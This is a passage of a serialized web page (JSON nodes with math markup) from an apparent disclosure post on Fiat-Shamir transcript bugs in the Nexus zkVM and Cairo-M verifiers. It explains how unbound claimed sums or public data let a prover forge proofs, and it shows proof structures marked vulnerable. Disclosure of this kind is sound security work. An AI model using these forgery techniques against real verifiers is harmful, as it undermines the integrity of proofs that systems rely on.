120856},[1835],[120858,120863],{"type":25,"tag":216,"props":120859,"children":120861},{"className":120860,"style":25578},[1835,4042,25577],[120862],{"type":31,"value":4046},{"type":25,"tag":216,"props":120864,"children":120866},{"className":120865},[2153],[120867],{"type":25,"tag":216,"props":120868,"children":120870},{"className":120869},[298,299],[120871,120900],{"type":25,"tag":216,"props":120872,"children":120874},{"className":120873},[304],[120875,120895],{"type":25,"tag":216,"props":120876,"children":120878},{"className":120877,"style":118185},[309],[120879],{"type":25,"tag":216,"props":120880,"children":120881},{"style":25601},[120882,120886],{"type":25,"tag":216,"props":120883,"children":120885},{"className":120884,"style":2175},[319],[],{"type":25,"tag":216,"props":120887,"children":120889},{"className":120888},[2180,2181,2182,2183],[120890],{"type":25,"tag":216,"props":120891,"children":120893},{"className":120892,"style":118201},[246,2145,2183],[120894],{"type":31,"value":12603},{"type":25,"tag":216,"props":120896,"children":120898},{"className":120897},[408],[120899],{"type":31,"value":411},{"type":25,"tag":216,"props":120901,"children":120903},{"className":120902},[304],[120904],{"type":25,"tag":216,"props":120905,"children":120907},{"className":120906,"style":118216},[309],[120908],{"type":25,"tag":216,"props":120909,"children":120910},{},[],{"type":25,"tag":216,"props":120912,"children":120914},{"className":120913,"style":1865},[257],[],{"type":25,"tag":216,"props":120916,"children":120918},{"className":120917},[246],[120919,120923,121077],{"type":25,"tag":216,"props":120920,"children":120922},{"className":120921},[287,288],[],{"type":25,"tag":216,"props":120924,"children":120926},{"className":120925},[293],[120927],{"type":25,"tag":216,"props":120928,"children":120930},{"className":120929},[298,299],[120931,121065],{"type":25,"tag":216,"props":120932,"children":120934},{"className":120933},[304],[120935,121060],{"type":25,"tag":216,"props":120936,"children":120938},{"className":120937,"style":117518},[309],[120939,121029,121040],{"type":25,"tag":216,"props":120940,"children":120941},{"style":5053},[120942,120946],{"type":25,"tag":216,"props":120943,"children":120945},{"className":120944,"style":320},[319],[],{"type":25,"tag":216,"props":120947,"children":120949},{"className":120948},[2180,2181,2182,2183],[120950],{"type":25,"tag":216,"props":120951,"children":120953},{"className":120952},[246,2183],[120954,120959,120964],{"type":25,"tag":216,"props":120955,"children":120957},{"className":120956,"style":117538},[246,2145,2183],[120958],{"type":31,"value":117541},{"type":25,"tag":216,"props":120960,"children":120962},{"className":120961},[340,2183],[120963],{"type":31,"value":3372},{"type":25,"tag":216,"props":120965,"children":120967},{"className":120966},[246,2183],[120968,120978],{"type":25,"tag":216,"props":120969,"children":120971},{"className":120970},[246,31,2183],[120972],{"type":25,"tag":216,"props":120973,"children":120975},{"className":120974},[246,2183],[120976],{"type":31,"value":120977},"produced",{"type":25,"tag":216,"props":120979,"children":120981},{"className":120980},[2153],[120982],{"type":25,"tag":216,"props":120983,"children":120985},{"className":120984},[298,299],[120986,121017],{"type":25,"tag":216,"props":120987,"children":120989},{"className":120988},[304],[120990,121012],{"type":25,"tag":216,"props":120991,"children":120994},{"className":120992,"style":120993},[309],"height:0.2052em;",[120995],{"type":25,"tag":216,"props":120996,"children":120998},{"style":120997},"top:-2.2341em;margin-right:0.0714em;",[120999,121003],{"type":25,"tag":216,"props":121000,"children":121002},{"className":121001,"style":5100},[319],[],{"type":25,"tag":216,"props":121004,"children":121006},{"className":121005},[2180,5105,5106,2183],[121007],{"type":25,"tag":216,"props":121008,"children":121010},{"className":121009,"style":118201},[246,2145,2183],[121011],{"type":31,"value":12603},{"type":25,"tag":216,"props":121013,"children":121015},{"className":121014},[408],[121016],{"type":31,"value":411},{"type":25,"tag":216,"props":121018,"children":121020},{"className":121019},[304],[121021],{"type":25,"tag":216,"props":121022,"children":121025},{"className":121023,"style":121024},[309],"height:0.4048em;",[121026],{"type":25,"tag":216,"props":121027,"children":121028},{},[],{"type":25,"tag":216,"props":121030,"children":121031},{"style":360},[121032,121036],{"type":25,"tag":216,"props":121033,"children":121035},{"className":121034,"style":320},[319],[],{"type":25,"tag":216,"props":121037,"children":121039},{"className":121038,"style":370},[369],[],{"type":25,"tag":216,"props":121041,"children":121042},{"style":117565},[121043,121047],{"type":25,"tag":216,"props":121044,"children":121046},{"className":121045,"style":320},[319],[],{"type":25,"tag":216,"props":121048,"children":121050},{"className":121049},[2180,2181,2182,2183],[121051],{"type":25,"tag":216,"props":121052,"children":121054},{"className":121053},[246,2183],[121055],{"type":25,"tag":216,"props":121056,"children":121058},{"className":121057},[246,2183],[121059],{"type":31,"value":184},{"type":25,"tag":216,"props":121061,"children":121063},{"className":121062},[408],[121064],{"type":31,"value":411},{"type":25,"tag":216,"props":121066,"children":121068},{"className":121067},[304],[121069],{"type":25,"tag":216,"props":121070,"children":121073},{"className":121071,"style":121072},[309],"height:0.6283em;",[121074],{"type":25,"tag":216,"props":121075,"children":121076},{},[],{"type":25,"tag":216,"props":121078,"children":121080},{"className":121079},[427,288],[],{"type":25,"tag":216,"props":121082,"children":121084},{"className":121083,"style":335},[257],[],{"type":25,"tag":216,"props":121086,"children":121088},{"className":121087},[340],[121089],{"type":31,"value":3372},{"type":25,"tag":216,"props":121091,"children":121093},{"className":121092,"style":335},[257],[],{"type":25,"tag":216,"props":121095,"children":121097},{"className":121096},[235],[121098,121102,121159,121163],{"type":25,"tag":216,"props":121099,"children":121101},{"className":121100,"style":118410},[240],[],{"type":25,"tag":216,"props":121103,"children":121105},{"className":121104},[1835],[121106,121111],{"type":25,"tag":216,"props":121107,"children":121109},{"className":121108,"style":25578},[1835,4042,25577],[121110],{"type":31,"value":4046},{"type":25,"tag":216,"props":121112,"children":121114},{"className":121113},[2153],[121115],{"type":25,"tag":216,"props":121116,"children":121118},{"className":121117},[298,299],[121119,121148],{"type":25,"tag":216,"props":121120,"children":121122},{"className":121121},[304],[121123,121143],{"type":25,"tag":216,"props":121124,"children":121126},{"className":121125,"style":117650},[309],[121127],{"type":25,"tag":216,"props":121128,"children":121129},{"style":25601},[121130,121134],{"type":25,"tag":216,"props":121131,"children":121133},{"className":121132,"style":2175},[319],[],{"type":25,"tag":216,"props":121135,"children":121137},{"className":121136},[2180,2181,2182,2183],[121138],{"type":25,"tag":216,"props":121139,"children":121141},{"className":121140,"style":98431},[246,2145,2183],[121142],{"type":31,"value":92649},{"type":25,"tag":216,"props":121144,"children":121146},{"className":121145},[408],[121147],{"type":31,"value":411},{"type":25,"tag":216,"props":121149,"children":121151},{"className":121150},[304],[121152],{"type":25,"tag":216,"props":121153,"children":121155},{"className":121154,"style":118465},[309],[121156],{"type":25,"tag":216,"props":121157,"children":121158},{},[],{"type":25,"tag":216,"props":121160,"children":121162},{"className":121161,"style":1865},[257],[],{"type":25,"tag":216,"props":121164,"children":121166},{"className":121165},[246],[121167,121171,121321],{"type":25,"tag":216,"props":121168,"children":121170},{"className":121169},[287,288],[],{"type":25,"tag":216,"props":121172,"children":121174},{"className":121173},[293],[121175],{"type":25,"tag":216,"props":121176,"children":121178},{"className":121177},[298,299],[121179,121310],{"type":25,"tag":216,"props":121180,"children":121182},{"className":121181},[304],[121183,121305],{"type":25,"tag":216,"props":121184,"children":121186},{"className":121185,"style":117518},[309],[121187,121274,121285],{"type":25,"tag":216,"props":121188,"children":121189},{"style":5053},[121190,121194],{"type":25,"tag":216,"props":121191,"children":121193},{"className":121192,"style":320},[319],[],{"type":25,"tag":216,"props":121195,"children":121197},{"className":121196},[2180,2181,2182,2183],[121198],{"type":25,"tag":216,"props":121199,"children":121201},{"className":121200},[246,2183],[121202,121207,121212],{"type":25,"tag":216,"props":121203,"children":121205},{"className":121204,"style":117538},[246,2145,2183],[121206],{"type":31,"value":117541},{"type":25,"tag":216,"props":121208,"children":121210},{"className":121209},[340,2183],[121211],{"type":31,"value":3372},{"type":25,"tag":216,"props":121213,"children":121215},{"className":121214},[246,2183],[121216,121226],{"type":25,"tag":216,"props":121217,"children":121219},{"className":121218},[246,31,2183],[121220],{"type":25,"tag":216,"props":121221,"children":121223},{"className":121222},[246,2183],[121224],{"type":31,"value":121225},"consumed",{"type":25,"tag":216,"props":121227,"children":121229},{"className":121228},[2153],[121230],{"type":25,"tag":216,"props":121231,"children":121233},{"className":121232},[298,299],[121234,121263],{"type":25,"tag":216,"props":121235,"children":121237},{"className":121236},[304],[121238,121258],{"type":25,"tag":216,"props":121239,"children":121241},{"className":121240,"style":5091},[309],[121242],{"type":25,"tag":216,"props":121243,"children":121244},{"style":118555},[121245,121249],{"type":25,"tag":216,"props":121246,"children":121248},{"className":121247,"style":5100},[319],[],{"type":25,"tag":216,"props":121250,"children":121252},{"className":121251},[2180,5105,5106,2183],[121253],{"type":25,"tag":216,"props":121254,"children":121256},{"className":121255,"style":98431},[246,2145,2183],[121257],{"type":31,"value":92649},{"type":25,"tag":216,"props":121259,"children":121261},{"className":121260},[408],[121262],{"type":31,"value":411},{"type":25,"tag":216,"props":121264,"children":121266},{"className":121265},[304],[121267],{"type":25,"tag":216,"props":121268,"children":121270},{"className":121269,"style":118582},[309],[121271],{"type":25,"tag":216,"props":121272,"children":121273},{},[],{"type":25,"tag":216,"props":121275,"children":121276},{"style":360},[121277,121281],{"type":25,"tag":216,"props":121278,"children":121280},{"className":121279,"style":320},[319],[],{"type":25,"tag":216,"props":121282,"children":121284},{"className":121283,"style":370},[369],[],{"type":25,"tag":216,"props":121286,"children":121287},{"style":117565},[121288,121292],{"type":25,"tag":216,"props":121289,"children":121291},{"className":121290,"style":320},[319],[],{"type":25,"tag":216,"props":121293,"children":121295},{"className":121294},[2180,2181,2182,2183],[121296],{"type":25,"tag":216,"props":121297,"children":121299},{"className":121298},[246,2183],[121300],{"type":25,"tag":216,"props":121301,"children":121303},{"className":121302},[246,2183],[121304],{"type":31,"value":184},{"type":25,"tag":216,"props":121306,"children":121308},{"className":121307},[408],[121309],{"type":31,"value":411},{"type":25,"tag":216,"props":121311,"children":121313},{"className":121312},[304],[121314],{"type":25,"tag":216,"props":121315,"children":121317},{"className":121316,"style":118630},[309],[121318],{"type":25,"tag":216,"props":121319,"children":121320},{},[],{"type":25,"tag":216,"props":121322,"children":121324},{"className":121323},[427,288],[],{"type":25,"tag":38,"props":121326,"children":121327},{},[121328,121330,121335],{"type":31,"value":121329},"All ",{"type":25,"tag":82,"props":121331,"children":121333},{"className":121332},[],[121334],{"type":31,"value":118842},{"type":31,"value":121336}," values must sum to zero (everything produced is consumed).",{"type":25,"tag":38,"props":121338,"children":121339},{},[121340,121342,121347],{"type":31,"value":121341},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":25,"tag":9267,"props":121343,"children":121344},{},[121345],{"type":31,"value":121346},"OODS (Out-of-Domain Sampling)",{"type":31,"value":121348}," test.",{"type":25,"tag":38,"props":121350,"children":121351},{},[121352],{"type":25,"tag":9267,"props":121353,"children":121354},{},[121355],{"type":31,"value":119393},{"type":25,"tag":206,"props":121357,"children":121359},{"code":121358},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[121360],{"type":25,"tag":82,"props":121361,"children":121362},{"__ignoreMap":7},[121363],{"type":31,"value":121358},{"type":25,"tag":38,"props":121365,"children":121366},{},[121367,121369,121374],{"type":31,"value":121368},"The",{"type":25,"tag":82,"props":121370,"children":121372},{"className":121371},[],[121373],{"type":31,"value":118842},{"type":31,"value":121375}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":25,"tag":38,"props":121377,"children":121378},{},[121379],{"type":25,"tag":6461,"props":121380,"children":121383},{"alt":121381,"src":121382},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":25,"tag":38,"props":121385,"children":121386},{},[121387,121389,121398],{"type":31,"value":121388},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":25,"tag":9267,"props":121390,"children":121391},{},[121392,121393],{"type":31,"value":115857},{"type":25,"tag":82,"props":121394,"children":121396},{"className":121395},[],[121397],{"type":31,"value":118842},{"type":31,"value":1466},{"type":25,"tag":38,"props":121400,"children":121401},{},[121402],{"type":31,"value":121403},"The composition polynomial is a random linear combination of constraints:",{"type":25,"tag":38,"props":121405,"children":121406},{},[121407],{"type":25,"tag":82,"props":121408,"children":121410},{"className":121409},[212,4696],[121411],{"type":25,"tag":216,"props":121412,"children":121414},{"className":121413},[224],[121415],{"type":25,"tag":216,"props":121416,"children":121418},{"className":121417,"ariaHidden":230},[229],[121419,121460,121599],{"type":25,"tag":216,"props":121420,"children":121422},{"className":121421},[235],[121423,121427,121432,121437,121442,121447,121451,121456],{"type":25,"tag":216,"props":121424,"children":121426},{"className":121425,"style":5507},[240],[],{"type":25,"tag":216,"props":121428,"children":121430},{"className":121429,"style":26059},[246,2145],[121431],{"type":31,"value":120206},{"type":25,"tag":216,"props":121433,"children":121435},{"className":121434},[287],[121436],{"type":31,"value":1844},{"type":25,"tag":216,"props":121438,"children":121440},{"className":121439},[246,2145],[121441],{"type":31,"value":2535},{"type":25,"tag":216,"props":121443,"children":121445},{"className":121444},[427],[121446],{"type":31,"value":1882},{"type":25,"tag":216,"props":121448,"children":121450},{"className":121449,"style":258},[257],[],{"type":25,"tag":216,"props":121452,"children":121454},{"className":121453},[263],[121455],{"type":31,"value":266},{"type":25,"tag":216,"props":121457,"children":121459},{"className":121458,"style":258},[257],[],{"type":25,"tag":216,"props":121461,"children":121463},{"className":121462},[235],[121464,121468,121525,121529,121586,121590,121595],{"type":25,"tag":216,"props":121465,"children":121467},{"className":121466,"style":119610},[240],[],{"type":25,"tag":216,"props":121469,"children":121471},{"className":121470},[1835],[121472,121477],{"type":25,"tag":216,"props":121473,"children":121475},{"className":121474,"style":25578},[1835,4042,25577],[121476],{"type":31,"value":4046},{"type":25,"tag":216,"props":121478,"children":121480},{"className":121479},[2153],[121481],{"type":25,"tag":216,"props":121482,"children":121484},{"className":121483},[298,299],[121485,121514],{"type":25,"tag":216,"props":121486,"children":121488},{"className":121487},[304],[121489,121509],{"type":25,"tag":216,"props":121490,"children":121492},{"className":121491,"style":118185},[309],[121493],{"type":25,"tag":216,"props":121494,"children":121495},{"style":25601},[121496,121500],{"type":25,"tag":216,"props":121497,"children":121499},{"className":121498,"style":2175},[319],[],{"type":25,"tag":216,"props":121501,"children":121503},{"className":121502},[2180,2181,2182,2183],[121504],{"type":25,"tag":216,"props":121505,"children":121507},{"className":121506},[246,2145,2183],[121508],{"type":31,"value":2283},{"type":25,"tag":216,"props":121510,"children":121512},{"className":121511},[408],[121513],{"type":31,"value":411},{"type":25,"tag":216,"props":121515,"children":121517},{"className":121516},[304],[121518],{"type":25,"tag":216,"props":121519,"children":121521},{"className":121520,"style":118465},[309],[121522],{"type":25,"tag":216,"props":121523,"children":121524},{},[],{"type":25,"tag":216,"props":121526,"children":121528},{"className":121527,"style":1865},[257],[],{"type":25,"tag":216,"props":121530,"children":121532},{"className":121531},[246],[121533,121538],{"type":25,"tag":216,"props":121534,"children":121536},{"className":121535,"style":119065},[246,2145],[121537],{"type":31,"value":119068},{"type":25,"tag":216,"props":121539,"children":121541},{"className":121540},[2153],[121542],{"type":25,"tag":216,"props":121543,"children":121545},{"className":121544},[298,299],[121546,121575],{"type":25,"tag":216,"props":121547,"children":121549},{"className":121548},[304],[121550,121570],{"type":25,"tag":216,"props":121551,"children":121553},{"className":121552,"style":2264},[309],[121554],{"type":25,"tag":216,"props":121555,"children":121556},{"style":119700},[121557,121561],{"type":25,"tag":216,"props":121558,"children":121560},{"className":121559,"style":2175},[319],[],{"type":25,"tag":216,"props":121562,"children":121564},{"className":121563},[2180,2181,2182,2183],[121565],{"type":25,"tag":216,"props":121566,"children":121568},{"className":121567},[246,2145,2183],[121569],{"type":31,"value":2283},{"type":25,"tag":216,"props":121571,"children":121573},{"className":121572},[408],[121574],{"type":31,"value":411},{"type":25,"tag":216,"props":121576,"children":121578},{"className":121577},[304],[121579],{"type":25,"tag":216,"props":121580,"children":121582},{"className":121581,"style":2203},[309],[121583],{"type":25,"tag":216,"props":121584,"children":121585},{},[],{"type":25,"tag":216,"props":121587,"children":121589},{"className":121588,"style":335},[257],[],{"type":25,"tag":216,"props":121591,"children":121593},{"className":121592},[340],[121594],{"type":31,"value":343},{"type":25,"tag":216,"props":121596,"children":121598},{"className":121597,"style":335},[257],[],{"type":25,"tag":216,"props":121600,"children":121602},{"className":121601},[235],[121603,121607,121669,121674,121679],{"type":25,"tag":216,"props":121604,"children":121606},{"className":121605,"style":5507},[240],[],{"type":25,"tag":216,"props":121608,"children":121610},{"className":121609},[246],[121611,121621],{"type":25,"tag":216,"props":121612,"children":121614},{"className":121613},[246,31],[121615],{"type":25,"tag":216,"props":121616,"children":121618},{"className":121617},[246],[121619],{"type":31,"value":121620},"constraint",{"type":25,"tag":216,"props":121622,"children":121624},{"className":121623},[2153],[121625],{"type":25,"tag":216,"props":121626,"children":121628},{"className":121627},[298,299],[121629,121658],{"type":25,"tag":216,"props":121630,"children":121632},{"className":121631},[304],[121633,121653],{"type":25,"tag":216,"props":121634,"children":121636},{"className":121635,"style":2264},[309],[121637],{"type":25,"tag":216,"props":121638,"children":121639},{"style":118108},[121640,121644],{"type":25,"tag":216,"props":121641,"children":121643},{"className":121642,"style":2175},[319],[],{"type":25,"tag":216,"props":121645,"children":121647},{"className":121646},[2180,2181,2182,2183],[121648],{"type":25,"tag":216,"props":121649,"children":121651},{"className":121650},[246,2145,2183],[121652],{"type":31,"value":2283},{"type":25,"tag":216,"props":121654,"children":121656},{"className":121655},[408],[121657],{"type":31,"value":411},{"type":25,"tag":216,"props":121659,"children":121661},{"className":121660},[304],[121662],{"type":25,"tag":216,"props":121663,"children":121665},{"className":121664,"style":2203},[309],[121666],{"type":25,"tag":216,"props":121667,"children":121668},{},[],{"type":25,"tag":216,"props":121670,"children":121672},{"className":121671},[287],[121673],{"type":31,"value":1844},{"type":25,"tag":216,"props":121675,"children":121677},{"className":121676},[246,2145],[121678],{"type":31,"value":2535},{"type":25,"tag":216,"props":121680,"children":121682},{"className":121681},[427],[121683],{"type":31,"value":1882},{"type":25,"tag":38,"props":121685,"children":121686},{},[121687,121689,121694,121696,121701],{"type":31,"value":121688},"Since each constraint is linear in its ",{"type":25,"tag":82,"props":121690,"children":121692},{"className":121691},[],[121693],{"type":31,"value":118842},{"type":31,"value":121695},", the overall composition polynomial is linear in all ",{"type":25,"tag":82,"props":121697,"children":121699},{"className":121698},[],[121700],{"type":31,"value":118842},{"type":31,"value":121702}," values.",{"type":25,"tag":38,"props":121704,"children":121705},{},[121706,121708],{"type":31,"value":121707},"The verifier checks ",{"type":25,"tag":82,"props":121709,"children":121711},{"className":121710},[212,4696],[121712],{"type":25,"tag":216,"props":121713,"children":121715},{"className":121714},[224],[121716],{"type":25,"tag":216,"props":121717,"children":121719},{"className":121718,"ariaHidden":230},[229],[121720,121781],{"type":25,"tag":216,"props":121721,"children":121723},{"className":121722},[235],[121724,121728,121733,121738,121748,121753,121763,121768,121772,121777],{"type":25,"tag":216,"props":121725,"children":121727},{"className":121726,"style":96954},[240],[],{"type":25,"tag":216,"props":121729,"children":121731},{"className":121730,"style":26059},[246,2145],[121732],{"type":31,"value":120206},{"type":25,"tag":216,"props":121734,"children":121736},{"className":121735},[287],[121737],{"type":31,"value":1844},{"type":25,"tag":216,"props":121739,"children":121741},{"className":121740},[246,31],[121742],{"type":25,"tag":216,"props":121743,"children":121745},{"className":121744},[246],[121746],{"type":31,"value":121747},"oods",{"type":25,"tag":216,"props":121749,"children":121751},{"className":121750,"style":2746},[246],[121752],{"type":31,"value":7025},{"type":25,"tag":216,"props":121754,"children":121756},{"className":121755},[246,31],[121757],{"type":25,"tag":216,"props":121758,"children":121760},{"className":121759},[246],[121761],{"type":31,"value":121762},"point",{"type":25,"tag":216,"props":121764,"children":121766},{"className":121765},[427],[121767],{"type":31,"value":1882},{"type":25,"tag":216,"props":121769,"children":121771},{"className":121770,"style":258},[257],[],{"type":25,"tag":216,"props":121773,"children":121775},{"className":121774},[263],[121776],{"type":31,"value":266},{"type":25,"tag":216,"props":121778,"children":121780},{"className":121779,"style":258},[257],[],{"type":25,"tag":216,"props":121782,"children":121784},{"className":121783},[235],[121785,121789],{"type":25,"tag":216,"props":121786,"children":121788},{"className":121787,"style":1513},[240],[],{"type":25,"tag":216,"props":121790,"children":121792},{"className":121791},[246,31],[121793],{"type":25,"tag":216,"props":121794,"children":121796},{"className":121795},[246],[121797],{"type":31,"value":120531},{"type":25,"tag":38,"props":121799,"children":121800},{},[121801,121803,121808,121810,121815],{"type":31,"value":121802},"With ",{"type":25,"tag":82,"props":121804,"children":121806},{"className":121805},[],[121807],{"type":31,"value":118842},{"type":31,"value":121809}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":25,"tag":82,"props":121811,"children":121813},{"className":121812},[],[121814],{"type":31,"value":118842},{"type":31,"value":121816}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":25,"tag":38,"props":121818,"children":121819},{},[121820,121824,121826],{"type":25,"tag":9267,"props":121821,"children":121822},{},[121823],{"type":31,"value":120687},{"type":31,"value":121825}," Fixed on October 24, 2025 via ",{"type":25,"tag":162,"props":121827,"children":121830},{"href":121828,"rel":121829},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[166],[121831],{"type":31,"value":121832},"PR #503",{"type":25,"tag":22747,"props":121834,"children":121835},{},[],{"type":25,"tag":607,"props":121837,"children":121839},{"id":121838},"cairo-m-kakarot-labs",[121840],{"type":31,"value":121841},"Cairo-M (Kakarot Labs)",{"type":25,"tag":38,"props":121843,"children":121844},{},[121845],{"type":31,"value":121846},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":25,"tag":38,"props":121848,"children":121849},{},[121850],{"type":31,"value":121851},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":25,"tag":38,"props":121853,"children":121854},{},[121855],{"type":25,"tag":9267,"props":121856,"children":121857},{},[121858],{"type":31,"value":119393},{"type":25,"tag":206,"props":121860,"children":121862},{"code":121861},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[121863],{"type":25,"tag":82,"props":121864,"children":121865},{"__ignoreMap":7},[121866],{"type":31,"value":121861},{"type":25,"tag":38,"props":121868,"children":121869},{},[121870],{"type":25,"tag":9267,"props":121871,"children":121872},{},[121873],{"type":31,"value":119409},{"type":25,"tag":38,"props":121875,"children":121876},{},[121877],{"type":25,"tag":6461,"props":121878,"children":121881},{"alt":121879,"src":121880},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":25,"tag":38,"props":121883,"children":121884},{},[121885,121887,121893],{"type":31,"value":121886},"Lookup challenges are derived without ",{"type":25,"tag":82,"props":121888,"children":121890},{"className":121889},[],[121891],{"type":31,"value":121892},"public_data",{"type":31,"value":121894}," being  mixed into the transcript.",{"type":25,"tag":38,"props":121896,"children":121897},{},[121898,121899,121904,121906,121911],{"type":31,"value":474},{"type":25,"tag":82,"props":121900,"children":121902},{"className":121901},[],[121903],{"type":31,"value":121892},{"type":31,"value":121905}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":25,"tag":64,"props":121907,"children":121908},{},[121909],{"type":31,"value":121910},"denominators",{"type":31,"value":121912}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":25,"tag":38,"props":121914,"children":121915},{},[121916],{"type":25,"tag":82,"props":121917,"children":121919},{"className":121918},[212,4696],[121920],{"type":25,"tag":216,"props":121921,"children":121923},{"className":121922},[224],[121924],{"type":25,"tag":216,"props":121925,"children":121927},{"className":121926,"ariaHidden":230},[229],[121928,121988,122034,122080],{"type":25,"tag":216,"props":121929,"children":121931},{"className":121930},[235],[121932,121936,121942,121947,121956,121961,121970,121975,121979,121984],{"type":25,"tag":216,"props":121933,"children":121935},{"className":121934,"style":96954},[240],[],{"type":25,"tag":216,"props":121937,"children":121939},{"className":121938},[246,2145],[121940],{"type":31,"value":121941},"L",{"type":25,"tag":216,"props":121943,"children":121945},{"className":121944},[287],[121946],{"type":31,"value":1844},{"type":25,"tag":216,"props":121948,"children":121950},{"className":121949},[246,31],[121951],{"type":25,"tag":216,"props":121952,"children":121954},{"className":121953},[246],[121955],{"type":31,"value":65637},{"type":25,"tag":216,"props":121957,"children":121959},{"className":121958,"style":2746},[246],[121960],{"type":31,"value":7025},{"type":25,"tag":216,"props":121962,"children":121964},{"className":121963},[246,31],[121965],{"type":25,"tag":216,"props":121966,"children":121968},{"className":121967},[246],[121969],{"type":31,"value":7663},{"type":25,"tag":216,"props":121971,"children":121973},{"className":121972},[427],[121974],{"type":31,"value":1882},{"type":25,"tag":216,"props":121976,"children":121978},{"className":121977,"style":335},[257],[],{"type":25,"tag":216,"props":121980,"children":121982},{"className":121981},[340],[121983],{"type":31,"value":3533},{"type":25,"tag":216,"props":121985,"children":121987},{"className":121986,"style":335},[257],[],{"type":25,"tag":216,"props":121989,"children":121991},{"className":121990},[235],[121992,121996,122006,122011,122021,122025,122030],{"type":25,"tag":216,"props":121993,"children":121995},{"className":121994,"style":96954},[240],[],{"type":25,"tag":216,"props":121997,"children":121999},{"className":121998},[246,31],[122000],{"type":25,"tag":216,"props":122001,"children":122003},{"className":122002},[246],[122004],{"type":31,"value":122005},"(other transcript",{"type":25,"tag":216,"props":122007,"children":122009},{"className":122008,"style":2746},[246],[122010],{"type":31,"value":7025},{"type":25,"tag":216,"props":122012,"children":122014},{"className":122013},[246,31],[122015],{"type":25,"tag":216,"props":122016,"children":122018},{"className":122017},[246],[122019],{"type":31,"value":122020},"bound terms)",{"type":25,"tag":216,"props":122022,"children":122024},{"className":122023,"style":258},[257],[],{"type":25,"tag":216,"props":122026,"children":122028},{"className":122027},[263],[122029],{"type":31,"value":266},{"type":25,"tag":216,"props":122031,"children":122033},{"className":122032,"style":258},[257],[],{"type":25,"tag":216,"props":122035,"children":122037},{"className":122036},[235],[122038,122043,122048,122053,122058,122062,122067,122071,122076],{"type":25,"tag":216,"props":122039,"children":122042},{"className":122040,"style":122041},[240],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":122044,"children":122046},{"className":122045},[246],[122047],{"type":31,"value":1876},{"type":25,"tag":216,"props":122049,"children":122051},{"className":122050},[1858],[122052],{"type":31,"value":1861},{"type":25,"tag":216,"props":122054,"children":122057},{"className":122055,"style":122056},[257],"margin-right:2em;",[],{"type":25,"tag":216,"props":122059,"children":122061},{"className":122060,"style":1865},[257],[],{"type":25,"tag":216,"props":122063,"children":122065},{"className":122064},[246,2145],[122066],{"type":31,"value":121941},{"type":25,"tag":216,"props":122068,"children":122070},{"className":122069,"style":258},[257],[],{"type":25,"tag":216,"props":122072,"children":122074},{"className":122073},[263],[122075],{"type":31,"value":266},{"type":25,"tag":216,"props":122077,"children":122079},{"className":122078,"style":258},[257],[],{"type":25,"tag":216,"props":122081,"children":122083},{"className":122082},[235],[122084,122089,122146,122150,122368],{"type":25,"tag":216,"props":122085,"children":122088},{"className":122086,"style":122087},[240],"height:1.4071em;vertical-align:-0.562em;",[],{"type":25,"tag":216,"props":122090,"children":122092},{"className":122091},[1835],[122093,122098],{"type":25,"tag":216,"props":122094,"children":122096},{"className":122095,"style":25578},[1835,4042,25577],[122097],{"type":31,"value":4046},{"type":25,"tag":216,"props":122099,"children":122101},{"className":122100},[2153],[122102],{"type":25,"tag":216,"props":122103,"children":122105},{"className":122104},[298,299],[122106,122135],{"type":25,"tag":216,"props":122107,"children":122109},{"className":122108},[304],[122110,122130],{"type":25,"tag":216,"props":122111,"children":122113},{"className":122112,"style":118185},[309],[122114],{"type":25,"tag":216,"props":122115,"children":122116},{"style":25601},[122117,122121],{"type":25,"tag":216,"props":122118,"children":122120},{"className":122119,"style":2175},[319],[],{"type":25,"tag":216,"props":122122,"children":122124},{"className":122123},[2180,2181,2182,2183],[122125],{"type":25,"tag":216,"props":122126,"children":122128},{"className":122127},[246,2145,2183],[122129],{"type":31,"value":2283},{"type":25,"tag":216,"props":122131,"children":122133},{"className":122132},[408],[122134],{"type":31,"value":411},{"type":25,"tag":216,"props":122136,"children":122138},{"className":122137},[304],[122139],{"type":25,"tag":216,"props":122140,"children":122142},{"className":122141,"style":118465},[309],[122143],{"type":25,"tag":216,"props":122144,"children":122145},{},[],{"type":25,"tag":216,"props":122147,"children":122149},{"className":122148,"style":1865},[257],[],{"type":25,"tag":216,"props":122151,"children":122153},{"className":122152},[246],[122154,122158,122364],{"type":25,"tag":216,"props":122155,"children":122157},{"className":122156},[287,288],[],{"type":25,"tag":216,"props":122159,"children":122161},{"className":122160},[293],[122162],{"type":25,"tag":216,"props":122163,"children":122165},{"className":122164},[298,299],[122166,122352],{"type":25,"tag":216,"props":122167,"children":122169},{"className":122168},[304],[122170,122347],{"type":25,"tag":216,"props":122171,"children":122173},{"className":122172,"style":117518},[309],[122174,122316,122327],{"type":25,"tag":216,"props":122175,"children":122176},{"style":5053},[122177,122181],{"type":25,"tag":216,"props":122178,"children":122180},{"className":122179,"style":320},[319],[],{"type":25,"tag":216,"props":122182,"children":122184},{"className":122183},[2180,2181,2182,2183],[122185],{"type":25,"tag":216,"props":122186,"children":122188},{"className":122187},[246,2183],[122189,122194,122199,1